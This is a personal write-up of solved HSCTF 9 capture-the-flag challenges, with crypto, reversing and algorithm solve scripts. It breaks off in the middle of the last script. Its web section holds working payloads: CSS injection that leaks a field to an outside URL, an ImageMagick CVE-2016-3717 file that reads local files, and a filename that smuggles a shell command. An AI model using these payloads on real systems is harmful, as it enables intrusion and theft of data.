HSCTF 9 Writeup

Sat Jun 11 2022

I participated HSCTF 9 by myself. The results were 16th/805.

Here are my write-ups for challs I solved. Since there are many challs, I only write for ones solved by lower than 100.

crypto

baby-rsa

28 solves

baby-rsa.py
from Crypto.Util.number import *
import random
import itertools
flag = open('flag.txt','rb').read()
pt = bytes_to_long(flag)
p,q = getPrime(512),getPrime(512)
n = p*q
a = random.randint(0,2**512)
b = random.randint(0,a)
c = random.randint(0,b)
d = random.randint(0,c)
e = random.randint(0,d)
f = 0x10001
g = [[-a,0,a],[-b,0,b],[-c,0,c],[-d,0,d],[-e,0,e]]
h = list(pow(sum(_),p,n) for _ in itertools.product(*g))
random.shuffle(h)
print(h[0:len(h)//2])
print(n)
print(pow(pt,f,n))

When xp=amodn,yp=bmodnx^p = a \mod n, y^p = b \mod n, (x+y)p=xp+pxp1y++xyp1+yp=a+b+p()modn(x + y)^p = x^p + px^{p-1}y + \cdots + xy^{p-1} + y^p = a + b + p(\cdots) \mod n. This means that (x+y)pxpyp=0modp(x + y)^p - x^p - y^p = 0 \mod p. When we pick up three of h there is a possibility that these are a pair like xp,yp,(x+y)px^p, y^p, (x + y)^p. If we can find two of this type of pair, pp is found by gcd of (x+y)pxpyp(x + y)^p - x^p - y^p.

solve.py
sum_cands = []
for h0, h1 in combinations(h, r=2):
    sum_cands.append(h0 + h1)

multi_p_cands = []
for c0, c1 in product(sum_cands, h):
    multi_p_cands.append(c0 - c1)

for kp0, kp1 in combinations(multi_p_cands[:4000], r=2):
    tmp = gcd(int(kp0), int(kp1))
    if 400 < int(tmp).bit_length() < 600:
        print(tmp)
        p = tmp

# p = 8232743274837446463598254637051161045911091397541451296000991485083369905136689783513169363218917147263240294508530778763390359497242952090254975434412391
assert n % p == 0
q = n // p
e = 0x10001
d = int(pow(e, -1, (p - 1) * (q - 1)))
print(long_to_bytes(int(pow(ct, d, n))))

flag{sometimes_you_just_want_to_make_long_flags_because_you_want_to_and_also_because_you_dont_know_what_else_you_can_put_here}

homophones

32 solves

ct.txt
SDFBE1X38 ILNVP 6RTC HXYUKLM 82ZH NVL JBE4CG 9A D5HE
7WJZH5. QZAC U2GI T6 0F! ORWH5 97 T1AXYZ6FUE L2 VT8
8XZ VKUY 15 T1UF CN JHTJI 6R9P JK4R5B.

As the chall title or description implies, this is a Homophonic Substitution Cipher. I have nothing to say about this type of crypto chall... I used this site to find a possible word and take a trial and error. The final result is as follows.

Everybody knows that rolling your own crypto is very
secure. Just look at me! There is absolutely no way
you will be able to crack this cipher.

flag{1c9ea7b792ebb677aeefe01d4a862b47}

otp

88 solves

source.py
import random
from Crypto.Util.number import bytes_to_long

def secure_seed():
	x = 0
	# x is a random integer between 0 and 100000000000
	for i in range(10000000000):
		x += random.randint(0, random.randint(0, 10))
	return x

flag = open('flag.txt','rb').read()
flag = bytes_to_long(flag)

random.seed(secure_seed())

l = len(bin(flag)) - 1
print(l)

k = random.getrandbits(l)
flag = flag ^ k # super secure encryption
print(flag)

The result of secure_seed() should statistically convergent to a certain value. I checked the result of it by replacing 10000000000 with doable size and found that it convegents to 2.5N2.5N.

solve.py
import random

l = 328
enc = 444466166004822947723119817789495250410386698442581656332222628158680136313528100177866881816893557

N = 10000000000
M = int(N * 2.5)
for i in range(-1000000, 1000000):
    random.seed(M + i)
    k = random.getrandbits(l)
    flag = long_to_bytes(enc ^^ k)
    if b"flag" in flag:
        print(flag)

flag{c3ntr4l_l1m1t_th30r3m_15431008597}

web

markdown-plus-plus

30 solves

The main part of this chall is in display.js.

display.js
let i = 0;
function generate_id() {
	return "id" + i++;
}
function parse(markdown) {
	//TODO implement per-element custom styles
	let stylesheet = [];
	let tree = document.createDocumentFragment();
	while (markdown.length > 0) {
		let node = document.createElement("span");
		let id = generate_id();
		node.id = id;

		let parsed,
			style = "",
			sub_stylesheet = [];

		if (markdown.startsWith("[b ")) {
			// bold
			style = "font-weight: bold";

			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
		} else if (markdown.startsWith("[i ")) {
			// italics
			style = "font-style: italic";

			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
		} else if (markdown.startsWith("[` ")) {
			// code
			style = `background-color: #eee;
			border-radius: 3px;
			font-family: monospace;
			padding: 0 3px;`;

			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
		} else if (markdown.startsWith("[u ")) {
			// underline
			style = "text-decoration: underline";

			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
		} else if (markdown.startsWith("[s ")) {
			// strikethrough
			style = "text-decoration: line-through";

			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
		} else if (markdown.startsWith("[c=")) {
			// color
			markdown = markdown.substring(3);

			let arr = markdown.split(" ");
			let color = arr.shift();
			markdown = arr.join(" ");
			style = "color:" + color;

			[parsed, markdown, sub_stylesheet] = parse(markdown);
		} else if (markdown.startsWith("[h=")) {
			// highlight
			markdown = markdown.substring(3);

			let arr = markdown.split(" ");
			let color = arr.shift();
			markdown = arr.join(" ");
			style = "background-color:" + color;

			[parsed, markdown, sub_stylesheet] = parse(markdown);
		} else if (markdown.startsWith("[a=")) {
			// links
			markdown = markdown.substring(3);

			parsed = document.createElement("a");
			let arr = markdown.split(" ");
			let href = arr.shift();
			markdown = arr.join(" ");
			parsed.href = href;

			let content;
			[content, markdown, sub_stylesheet] = parse(markdown);
			parsed.append(content);
		} else if (markdown.startsWith("]")) {
			// end tag
			return [tree, markdown.substring(1), stylesheet];
		} else {
			// match up to the next unescaped [ or ]
			var [_, text, markdown] = markdown.match(/^((?:(?![^\\][[\]]).)*.?)(.*)/);
			parsed = document.createTextNode(text);
		}

		node.append(parsed);
		stylesheet.push(`${id}{${style};}`);
		stylesheet.push(...sub_stylesheet);
		tree.append(node);
	}
	return [tree, "", stylesheet];
}

function display() {
	let markdown = atob(location.hash.substring(1));

	let [el, _, stylesheet] = parse(markdown);

	document.getElementById("root").appendChild(el);

	let style = document.createElement("style");
	style.textContent = stylesheet.join("\n");
	document.head.appendChild(style);
}
display();

We can easily find that we can cause CSS injection by [c= notation. When the input is [c=red ...], the style results in <style>#id1{color:red;}</style>. Therefore if we input [c=red;}hoge{...}#id1{color:blue ...], the result is <style>#id1{color:red;}hoge{...}#id1{color:blue;}</style>. This type of CSS injection can leak attributes of tag by tag[attribute^='f']{background-image:url(MYURL)}. The CSS requests MYURL only when the attribute of tag starts with f. I referred to this blog. I guessed that the flag (or something secret) was hidden in login name. This exists in placeholder of input. I leaked the flag char by char by running the script following and seeing the request.

solve.py
import requests
import string

name = "flag{"
payload = "[c=red;}"
for i in range(33, 127):
    c = chr(i)
    if c not in string.ascii_letters + string.digits + "_}":
        continue
    if c in "\\":
        continue
    query = name + c
    if c == "'":
        c = "\\'"
        query = name + "'"
    print(c)
    payload += f"input[placeholder^='{name+c}']{{background-image:url(MYURL?q={query});}}"
payload += "#id1{color:blue hoge]"
base_url = "http://web1.hsctf.com:8002/display"
payload_url = base_url + "#" + b64encode(payload.encode()).decode()

post_url = "http://web1.hsctf.com:8000/markdown-plus-plus"
r = requests.post(post_url, data={"url": payload_url}, headers={"Content-Type": "application/x-www-form-urlencoded"})

flag{waterfall_bfutsftfejpk}

png-wizard-v2

57 solves

main.py
#!/usr/bin/env python3
import itertools
import os
import subprocess
import sys
from pathlib import Path

import flask
from flask import Flask, abort, redirect, render_template, request
from flask.helpers import url_for
from flask.wrappers import Response

UPLOAD_FOLDER = '/upload'

app = Flask(__name__)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024  # 1 MB

def rand_name():
	return os.urandom(16).hex()

def is_valid_extension(filename: Path):
	return (
		filename.suffix.lower().lstrip(".")
		in ("gif", "jpg", "jpeg", "png", "tiff", "tif", "ico", "bmp", "ppm")
	)

@app.route("/", methods=["GET"])
def get():
	return render_template("index.html")

@app.route("/", methods=["POST"])
def post():
	if "file" not in request.files:
		return render_template("index.html", error="No file provided")
	file = request.files["file"]
	if not file.filename:
		return render_template("index.html", error="No file provided")
	if len(file.filename) > 64:
		return render_template("index.html", error="Filename too long")
	
	filename = Path(UPLOAD_FOLDER).joinpath("a").with_name(rand_name() + Path(file.filename).suffix)
	if not is_valid_extension(filename):
		return render_template("index.html", error="Invalid extension")
	
	file.save(filename)
	
	new_name = filename.with_name(rand_name() + ".png")
	
	try:
		subprocess.run(
			["convert", filename, new_name],
			check=True,
			stderr=subprocess.PIPE,
			timeout=5,
			env={},
			executable="/usr/local/bin/shell"
		)
	except subprocess.TimeoutExpired:
		return render_template("index.html", error="Command timed out")
	except subprocess.CalledProcessError as e:
		return render_template(
			"index.html",
			error=f"Error converting file: {e.stderr.decode('utf-8',errors='ignore')}"
		)
	finally:
		filename.unlink()
	
	return redirect(url_for("converted_file", filename=new_name.name))

@app.route('/converted/<filename>')
def converted_file(filename):
	path = Path(UPLOAD_FOLDER).joinpath("a").with_name(filename)
	if not path.exists():
		# imagemagick sometimes generates multiple images depending on the src image
		oldpath = path
		path = oldpath.with_name(f"{oldpath.stem}-0{oldpath.suffix}")
		if path.exists():
			for i in itertools.count(1):
				path2 = oldpath.with_name(f"{oldpath.stem}-{i}{oldpath.suffix}")
				if not path2.exists():
					break
				path2.unlink()
		else:
			abort(404)
	
	def generate():
		with path.open("rb") as f:
			yield from f
		path.unlink()
	
	return Response(generate(), mimetype="image/png")

@app.route("/version")
def version():
	python_version = sys.version
	flask_version = flask.__version__
	magick_version = subprocess.run(["convert", "-version"], check=False,
		stdout=subprocess.PIPE).stdout.decode()
	
	return render_template(
		"version.html",
		python_version=python_version,
		flask_version=flask_version,
		magick_version=magick_version
	)

if __name__ == "__main__":
	app.run()

The chall description implies that ImageMagick is old. The version can be checked in /version and is 6.8.9-9. I checked CVE for this version and found that CVE-2016-3717. This causes LFI. I referred to this article.

I uploaded the file below and the flag appeared on the image.

exploit.png
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@flag.txt'
pop graphic-context

flag{did_you_ever_hear_the_tragedy_of_darth_imagemagick_the_wise_6889108}

png-wizard

96 solves

main.py
#!/usr/bin/env python3
import itertools
import os
import subprocess
import sys
from pathlib import Path

import flask
from flask import Flask, abort, redirect, render_template, request
from flask.helpers import url_for
from flask.wrappers import Response

UPLOAD_FOLDER = '/upload'

app = Flask(__name__)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024  # 1 MB

def rand_name():
	return os.urandom(16).hex()

def is_valid_extension(filename: Path):
	return (
		filename.suffix.lower().lstrip(".")
		in ("gif", "jpg", "jpeg", "png", "tiff", "tif", "ico", "bmp", "ppm")
	)

@app.route("/", methods=["GET"])
def get():
	return render_template("index.html")

@app.route("/", methods=["POST"])
def post():
	if "file" not in request.files:
		return render_template("index.html", error="No file provided")
	file = request.files["file"]
	if not file.filename:
		return render_template("index.html", error="No file provided")
	if len(file.filename) > 64:
		return render_template("index.html", error="Filename too long")
	
	filename = Path(UPLOAD_FOLDER).joinpath("a").with_name(file.filename)
	if not is_valid_extension(filename):
		return render_template("index.html", error="Invalid extension")
	
	file.save(filename)
	
	new_name = filename.with_name(rand_name() + ".png")
	
	try:
		subprocess.run(
			f"convert '{filename}' '{new_name}'",
			shell=True,
			check=True,
			stderr=subprocess.PIPE,
			timeout=5,
			env={},
			executable="/usr/local/bin/shell"
		)
	except subprocess.TimeoutExpired:
		return render_template("index.html", error="Command timed out")
	except subprocess.CalledProcessError as e:
		return render_template(
			"index.html",
			error=f"Error converting file: {e.stderr.decode('utf-8',errors='ignore')}"
		)
	finally:
		filename.unlink()
	
	return redirect(url_for("converted_file", filename=new_name.name))

@app.route('/converted/<filename>')
def converted_file(filename):
	path = Path(UPLOAD_FOLDER).joinpath("a").with_name(filename)
	if not path.exists():
		# imagemagick sometimes generates multiple images depending on the src image
		oldpath = path
		path = oldpath.with_name(f"{oldpath.stem}-0{oldpath.suffix}")
		if path.exists():
			for i in itertools.count(1):
				path2 = oldpath.with_name(f"{oldpath.stem}-{i}{oldpath.suffix}")
				if not path2.exists():
					break
				path2.unlink()
		else:
			abort(404)
	
	def generate():
		with path.open("rb") as f:
			yield from f
		path.unlink()
	
	return Response(generate(), mimetype="image/png")

@app.route("/version")
def version():
	python_version = sys.version
	flask_version = str(flask.__version__)
	magick_version = subprocess.run(
		"convert -version", shell=True, check=False, stdout=subprocess.PIPE
	).stdout.decode()
	
	return render_template(
		"version.html",
		python_version=python_version,
		flask_version=flask_version,
		magick_version=magick_version
	)

if __name__ == "__main__":
	app.run()

I first checked the version of something in /version but couldn't find useful CVE. The vulnerability is in python's subprocess.run (you can easily find by seeing diff of this chall and v2).

		subprocess.run(
			f"convert '{filename}' '{new_name}'",
			shell=True,
			check=True,
			stderr=subprocess.PIPE,
			timeout=5,
			env={},
			executable="/usr/local/bin/shell"
		)

Since shell=True, we can cause OS command injection by crafting filename. I modified filename into filename="*'cat flag.txt 'hoge';#'.png". This being uploaded, the flag shows up in error message.

flag{mary_anning_d1d352e0}

reversing

eunectes-murinus

68 solves

We are given .pyc file. Since the version of this .pyc file is 3.9, we cannot use Uncompyle6. I used pycdc instead.

But the result of pycdc went something wrong.

# Source Generated with Decompyle++
# File: eunectes-murinus.pyc (Python 3.9)


def fun():
    (x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57) = input('flag?\n').encode()
    if x50 * 8 * (x9 - 4) * (x24 + 4) != 9711352:
        return print('Failed')
    if x54 * 7 * (x13 - 3) * (x35 + 3) != 3764768:
        return print('Failed')
    if x57 * 2 * (x45 - 8) * (x19 + 1) != 1248000:
        return print('Failed')
    if x41 * 7 * (x35 - 2) * (x11 + 5) != 7452648:
        return print('Failed')
    if x25 * 1 * (x27 - 7) * (x3 + 7) != 1013650:
        return print('Failed')
    if x54 * 9 * (x41 - 5) * (x31 + 6) != 4860261:
        return print('Failed')
    if x12 * 3 * (x24 - 6) * (x50 + 4) != 3261825:
        return print('Failed')
    if x23 * 7 * (x19 - 4) * (x8 + 9) != 8149680:
        return print('Failed')
    if x39 * 7 * (x50 - 4) * (x56 + 1) != 7864857:
        return print('Failed')
    if x45 * 5 * (x56 - 8) * (x57 + 5) != 3276000:
        return print('Failed')
    if x7 * 9 * (x47 - 9) * (x23 + 1) != 4164210:
        return print('Failed')
    if x20 * 7 * (x43 - 2) * (x5 + 5) != 8704850:
        return print('Failed')
    if x45 * 6 * (x52 - 1) * (x45 + 8) != 1032192:
        return print('Failed')
    if x46 * 8 * (allanite - 9) * (kurnakovite + 4) != 3647952:
        return print('Failed')
    (kurnakovite = x32, x44, covellite = x44)
    if pyrophanite * 5 * (kurnakovite - 7) * (covellite + 1) != 5339520:
        return print('Failed')
    (akimotoite = x33, x9, kurnakovite = x9)
    if covellite * 6 * (akimotoite - 4) * (kurnakovite + 1) != 6170472:
        return print('Failed')
    (allanite = x42, x4, covellite = x4)
    if kurnakovite * 1 * (allanite - 1) * (covellite + 7) != 1502280:
        return print('Failed')
    (covellite = x54, x1, aerinite = x1)
    if chalcocite * 7 * (covellite - 3) * (aerinite + 2) != 3364900:
        return print('Failed')
    (kurnakovite = x24, x45, clinohumite = x45)
    if akimotoite * 9 * (kurnakovite - 3) * (clinohumite + 9) != 6748560:
        return print('Failed')
    (akimotoite = x43, x8, allanite = x8)
    if clinohumite * 9 * (akimotoite - 9) * (allanite + 7) != 12196800:
        return print('Failed')
    (fayalite = x35, x47, akimotoite = x47)
    if halloysite * 6 * (fayalite - 7) * (akimotoite + 7) != 3124176:
        return print('Failed')
    (fayalite = x3, x18, covellite = x18)
    if pyrophanite * 6 * (fayalite - 7) * (covellite + 2) != 6128640:
        return print('Failed')
    (allanite = x30, x0, chalcocite = x0)
    if akimotoite * 2 * (allanite - 4) * (chalcocite + 6) != 2268864:
        return print('Failed')
    (pyrophanite = x21, x25, fayalite = x25)
    if clinohumite * 4 * (pyrophanite - 6) * (fayalite + 5) != 5192000:
        return print('Failed')
    (halloysite = x39, x46, fayalite = x46)
    if chalcocite * 9 * (halloysite - 6) * (fayalite + 8) != 11118870:
        return print('Failed')
    (allanite = x46, x6, kurnakovite = x6)
    if pyrophanite * 8 * (allanite - 4) * (kurnakovite + 2) != 8096784:
        return print('Failed')
    (halloysite = x45, x19, aerinite = x19)
    if kurnakovite * 3 * (halloysite - 9) * (aerinite + 6) != 1552269:
        return print('Failed')
    (pyrophanite = x22, x31, clinohumite = x31)
    if akimotoite * 7 * (pyrophanite - 6) * (clinohumite + 3) != 3495856:
        return print('Failed')
    (chalcocite = x32, x30, kurnakovite = x30)
    if aerinite * 8 * (chalcocite - 3) * (kurnakovite + 7) != 9647120:
        return print('Failed')
    (akimotoite = x40, x32, covellite = x32)
    if pyrophanite * 6 * (akimotoite - 7) * (covellite + 3) != 5918940:
        return print('Failed')
    (covellite = x57, x50, fayalite = x50)
    if pyrophanite * 5 * (covellite - 4) * (fayalite + 3) != 7235800:
        return print('Failed')
    (allanite = x25, x17, akimotoite = x17)
    if fayalite * 3 * (allanite - 3) * (akimotoite + 8) != 3025236:
        return print('Failed')
    (pyrophanite = x37, x51, fayalite = x51)
    if covellite * 9 * (pyrophanite - 6) * (fayalite + 2) != 4297293:
        return print('Failed')
    (chalcocite = x25, x4, halloysite = x4)
    if clinohumite * 2 * (chalcocite - 1) * (halloysite + 7) != 2639520:
        return print('Failed')
    (halloysite = x8, x20, pyrophanite = x20)
    if aerinite * 7 * (halloysite - 1) * (pyrophanite + 1) != 7402752:
        return print('Failed')
    (pyrophanite = x38, x35, halloysite = x35)
    if covellite * 6 * (pyrophanite - 5) * (halloysite + 2) != 3299940:
        return print('Failed')
    (chalcocite = x34, x19, covellite = x19)
    if akimotoite * 1 * (chalcocite - 2) * (covellite + 2) != 1226610:
        return print('Failed')
    (fayalite = x10, x44, halloysite = x44)
    if covellite * 2 * (fayalite - 2) * (halloysite + 6) != 2203416:
        return print('Failed')
    (kurnakovite = x15, x40, clinohumite = x40)
    if akimotoite * 7 * (kurnakovite - 2) * (clinohumite + 1) != 7126168:
        return print('Failed')
    (halloysite = x47, x57, chalcocite = x57)
    if kurnakovite * 5 * (halloysite - 2) * (chalcocite + 9) != 3797560:
        return print('Failed')
    (kurnakovite = x24, x42, chalcocite = x42)
    if halloysite * 2 * (kurnakovite - 7) * (chalcocite + 8) != 2931552:
        return print('Failed')
    (halloysite = x24, x0, allanite = x0)
    if clinohumite * 6 * (halloysite - 6) * (allanite + 3) != 7210350:
        return print('Failed')
    (chalcocite = x39, x39, clinohumite = x39)
    if halloysite * 6 * (chalcocite - 5) * (clinohumite + 3) != 9515520:
        return print('Failed')
    (kurnakovite = x13, x53, halloysite = x53)
    if akimotoite * 4 * (kurnakovite - 5) * (halloysite + 6) != 4667520:
        return print('Failed')
    (akimotoite = x15, x24, halloysite = x24)
    if kurnakovite * 4 * (akimotoite - 3) * (halloysite + 2) != 4766580:
        return print('Failed')
    (fayalite = x42, x32, clinohumite = x32)
    if kurnakovite * 4 * (fayalite - 4) * (clinohumite + 2) != 4752384:
        return print('Failed')
    (akimotoite = x21, x12, aerinite = x12)
    if pyrophanite * 7 * (akimotoite - 6) * (aerinite + 8) != 8724100:
        return print('Failed')
    (kurnakovite = x6, x26, chalcocite = x26)
    if aerinite * 6 * (kurnakovite - 3) * (chalcocite + 4) != 7598928:
        return print('Failed')
    (chalcocite = x18, x30, halloysite = x30)
    if pyrophanite * 9 * (chalcocite - 7) * (halloysite + 7) != 11513340:
        return print('Failed')
    (clinohumite = x43, x13, kurnakovite = x13)
    if halloysite * 2 * (clinohumite - 4) * (kurnakovite + 9) != 2756520:
        return print('Failed')
    (clinohumite = x26, x55, aerinite = x55)
    if kurnakovite * 3 * (clinohumite - 2) * (aerinite + 5) != 3480360:
        return print('Failed')
    (chalcocite = x20, x55, pyrophanite = x55)
    if aerinite * 9 * (chalcocite - 7) * (pyrophanite + 8) != 9152352:
        return print('Failed')
    (kurnakovite = x26, x35, fayalite = x35)
    if pyrophanite * 6 * (kurnakovite - 2) * (fayalite + 5) != 5703600:
        return print('Failed')
    (pyrophanite = x27, x37, kurnakovite = x37)
    if aerinite * 8 * (pyrophanite - 6) * (kurnakovite + 9) != 4238304:
        return print('Failed')
    (clinohumite = x0, x42, akimotoite = x42)
    if kurnakovite * 7 * (clinohumite - 7) * (akimotoite + 5) != 7364210:
        return print('Failed')
    (aerinite = x5, x56, pyrophanite = x56)
    if allanite * 8 * (aerinite - 4) * (pyrophanite + 7) != 9332400:
        return print('Failed')
    (clinohumite = x2, x32, covellite = x32)
    if allanite * 1 * (clinohumite - 5) * (covellite + 4) != 513912:
        return print('Failed')
    (fayalite = x6, x13, aerinite = x13)
    if clinohumite * 3 * (fayalite - 7) * (aerinite + 4) != 4187610:
        return print('Failed')
    (pyrophanite = x46, x36, aerinite = x36)
    if kurnakovite * 6 * (pyrophanite - 6) * (aerinite + 7) != 6723360:
        return print('Failed')
    (aerinite = x14, x32, kurnakovite = x32)
    if pyrophanite * 5 * (aerinite - 8) * (kurnakovite + 2) != 6287120:
        return print('Failed')
    (fayalite = x9, x42, halloysite = x42)
    if akimotoite * 5 * (fayalite - 3) * (halloysite + 5) != 5820630:
        return print('Failed')
    (covellite = x54, x16, clinohumite = x16)
    if aerinite * 1 * (covellite - 8) * (clinohumite + 3) != 267894:
        return print('Failed')
    (clinohumite = x56, x43, pyrophanite = x43)
    if allanite * 5 * (clinohumite - 7) * (pyrophanite + 5) != 5790330:
        return print('Failed')
    (clinohumite = x49, x16, covellite = x16)
    if chalcocite * 6 * (clinohumite - 6) * (covellite + 6) != 3856896:
        return print('Failed')
    (pyrophanite = x0, x22, akimotoite = x22)
    if allanite * 9 * (pyrophanite - 6) * (akimotoite + 3) != 8967456:
        return print('Failed')
    (kurnakovite = x57, x14, fayalite = x14)
    if covellite * 6 * (kurnakovite - 3) * (fayalite + 3) != 4088952:
        return print('Failed')
    (allanite = x28, x37, covellite = x37)
    if clinohumite * 2 * (allanite - 4) * (covellite + 6) != 2394750:
        return print('Failed')
    (allanite = x51, x3, pyrophanite = x3)
    if akimotoite * 9 * (allanite - 2) * (pyrophanite + 2) != 5000940:
        return print('Failed')
    (covellite = x11, x17, chalcocite = x17)
    if pyrophanite * 2 * (covellite - 8) * (chalcocite + 5) != 2127840:
        return print('Failed')
    (clinohumite = x28, x56, halloysite = x56)
    if allanite * 7 * (clinohumite - 6) * (halloysite + 7) != 7290465:
        return print('Failed')
    (kurnakovite = x9, x30, allanite = x30)
    if halloysite * 1 * (kurnakovite - 5) * (allanite + 1) != 1362500:
        return print('Failed')
    (fayalite = x28, x50, aerinite = x50)
    if covellite * 7 * (fayalite - 9) * (aerinite + 9) != 7114800:
        return print('Failed')
    (clinohumite = x24, x29, akimotoite = x29)
    if covellite * 8 * (clinohumite - 9) * (akimotoite + 7) != 10142080:
        return print('Failed')
    (pyrophanite = x21, x36, covellite = x36)
    if chalcocite * 1 * (pyrophanite - 8) * (covellite + 4) != 1232604:
        return print('Failed')
    (allanite = x48, x5, aerinite = x5)
    if kurnakovite * 5 * (allanite - 8) * (aerinite + 9) != 2585520:
        return print('Failed')
    (akimotoite = x11, x9, clinohumite = x9)
    if kurnakovite * 6 * (akimotoite - 4) * (clinohumite + 7) != 7105056:
        return print('Failed')
    (kurnakovite = x14, x11, covellite = x11)
    if fayalite * 3 * (kurnakovite - 1) * (covellite + 4) != 3534300:
        return print('Failed')
    (halloysite = x9, x22, covellite = x22)
    if aerinite * 8 * (halloysite - 4) * (covellite + 7) != 10583184:
        return print('Failed')
    (pyrophanite = x28, x19, kurnakovite = x19)
    if chalcocite * 5 * (pyrophanite - 6) * (kurnakovite + 9) != 2751840:
        return print('Failed')
    (pyrophanite = x27, x16, akimotoite = x16)
    if halloysite * 1 * (pyrophanite - 1) * (akimotoite + 2) != 1211280:
        return print('Failed')
    (allanite = x34, x43, chalcocite = x43)
    if halloysite * 3 * (allanite - 6) * (chalcocite + 2) != 3785940:
        return print('Failed')
    (allanite = x45, x56, aerinite = x56)
    if akimotoite * 5 * (allanite - 5) * (aerinite + 7) != 2784600:
        return print('Failed')
    (chalcocite = x52, x8, fayalite = x8)
    if kurnakovite * 4 * (chalcocite - 3) * (fayalite + 7) != 1983520:
        return print('Failed')
    (akimotoite = x45, x5, chalcocite = x5)
    if halloysite * 8 * (akimotoite - 7) * (chalcocite + 7) != 4522112:
        return print('Failed')
    (fayalite = x8, x44, clinohumite = x44)
    if chalcocite * 6 * (fayalite - 4) * (clinohumite + 9) != 5868720:
        return print('Failed')
    (clinohumite = x1, x6, fayalite = x6)
    if chalcocite * 1 * (clinohumite - 9) * (fayalite + 3) != 1086624:
        return print('Failed')
    (halloysite = x2, x16, akimotoite = x16)
    if aerinite * 7 * (halloysite - 8) * (akimotoite + 7) != 8488375:
        return print('Failed')
    (aerinite = x42, x41, fayalite = x41)
    if pyrophanite * 8 * (aerinite - 4) * (fayalite + 8) != 11388416:
        return print('Failed')
    (clinohumite = x50, x11, covellite = x11)
    if fayalite * 1 * (clinohumite - 6) * (covellite + 8) != 1118340:
        return print('Failed')
    (covellite = x43, x2, kurnakovite = x2)
    if fayalite * 8 * (covellite - 1) * (kurnakovite + 2) != 9789120:
        return print('Failed')
    (covellite = x25, x54, clinohumite = x54)
    if pyrophanite * 3 * (covellite - 3) * (clinohumite + 2) != 1435752:
        return print('Failed')
    (allanite = x34, x48, pyrophanite = x48)
    if chalcocite * 3 * (allanite - 8) * (pyrophanite + 6) != 1484280:
        return print('Failed')
    (aerinite = x19, x7, kurnakovite = x7)
    if allanite * 4 * (aerinite - 5) * (kurnakovite + 7) != 4688320:
        return print('Failed')
    (covellite = x15, x52, clinohumite = x52)
    if allanite * 2 * (covellite - 8) * (clinohumite + 1) != 500000:
        return print('Failed')
    (chalcocite = x30, x4, pyrophanite = x4)
    if akimotoite * 9 * (chalcocite - 4) * (pyrophanite + 7) != 11559600:
        return print('Failed')
    (covellite = x44, x14, aerinite = x14)
    if fayalite * 9 * (covellite - 6) * (aerinite + 5) != 10034928:
        return print('Failed')
    (halloysite = x7, x53, kurnakovite = x53)
    if fayalite * 2 * (halloysite - 7) * (kurnakovite + 5) != 2039400:
        return print('Failed')
    (aerinite = x43, x19, pyrophanite = x19)
    if fayalite * 9 * (aerinite - 9) * (pyrophanite + 3) != 10577952:
        return print('Failed')
    (fayalite = x48, x10, aerinite = x10)
    if pyrophanite * 4 * (fayalite - 5) * (aerinite + 9) != 2099160:
        return print('Failed')
    (covellite = x32, x18, akimotoite = x18)
    if pyrophanite * 8 * (covellite - 3) * (akimotoite + 4) != 9270480:
        return print('Failed')
    return x32('Success')

fun()

On the other hand pycdas seems work correctly. So I looked into disas of .pyc.

                128     LOAD_FAST               50: x50
                130     DUP_TOP                 
                132     STORE_FAST              58: akimotoite
                134     LOAD_FAST               9: x9
                136     DUP_TOP                 
                138     STORE_FAST              59: covellite
                140     LOAD_FAST               24: x24
                142     DUP_TOP                 
                144     STORE_FAST              60: halloysite
                146     BUILD_TUPLE             3
                148     POP_TOP                 
                150     LOAD_FAST               58: akimotoite
                152     LOAD_CONST              2: 8
                154     BINARY_MULTIPLY         
                156     LOAD_FAST               59: covellite
                158     LOAD_CONST              3: 4
                160     BINARY_SUBTRACT         
                162     BINARY_MULTIPLY         
                164     LOAD_FAST               60: halloysite
                166     LOAD_CONST              3: 4
                168     BINARY_ADD              
                170     BINARY_MULTIPLY         
                172     LOAD_CONST              4: 9711352
                174     COMPARE_OP              3 (!=)
                176     POP_JUMP_IF_FALSE       186
                178     LOAD_GLOBAL             2: print
                180     LOAD_CONST              5: 'Failed'
                182     CALL_FUNCTION           1
                184     RETURN_VALUE            

In the program this structure exists repeatedly. So I parsed disas result and solve x by z3.

solve.py
import re
from z3 import *

with open("/home/y011d4/hsctf/rev/eunectes_murinus/disas", "r") as fp:
    buf = fp.read()

x = [Int(f"x{i}") for i in range(58)]
x = [BitVec(f"x{i}", 24) for i in range(58)]
xs = list(map(lambda x: f"x[{x}]", re.findall(r"LOAD_FAST.*x([0-9]*)", buf)))
consts = list(filter(lambda x: len(x) > 0, re.findall(r"LOAD_CONST.*: ([0-9]*)", buf)))
s = Solver()
for i in range(len(x)):
    s.add(x[i] >= 32)
    s.add(x[i] < 127)
for i in range(100):
    s.add(eval(f"{xs[3*i]} * {consts[4*i]} * ({xs[3*i+1]} - {consts[4*i+1]}) * ({xs[3*i+2]} + {consts[4*i+2]}) == {consts[4*i+3]}"))
s.check()
m = s.model()

print("".join([chr(m[x[i]].as_long()) for i in range(58)]))

flag{imagine_solving_this_challenge_manually_8b626e31b1cb}

algorithms

hacking-part-2

25 solves

The story is so long but it comes down to constructing a minimum global tree. This can be easily found by Kruskal's algorithm. I referred to this article.

solve.py
def root(x):
    if x == p[x]:
        return x
    p[x] = y = root(p[x])
    return y


def unite(x, y):
    px = root(x)
    py = root(y)
    if px == py:
        return 0
    if px < py:
        p[py] = px
    else:
        p[px] = py
    return 1


io = remote("hacking-pt2.hsctf.com", 1337)
_ = io.recvline()


for _ in range(5):
    _ = io.recvuntil(b"Test case")
    _ = io.recvline()
    N = int(io.recvline())
    E = []
    for i in range(N):
        inp_line = io.recvline().strip().decode()
        for pair in inp_line.split():
            tmp_target, tmp_cost = map(int, pair.split(","))
            E.append((tmp_cost, i, tmp_target - 1))
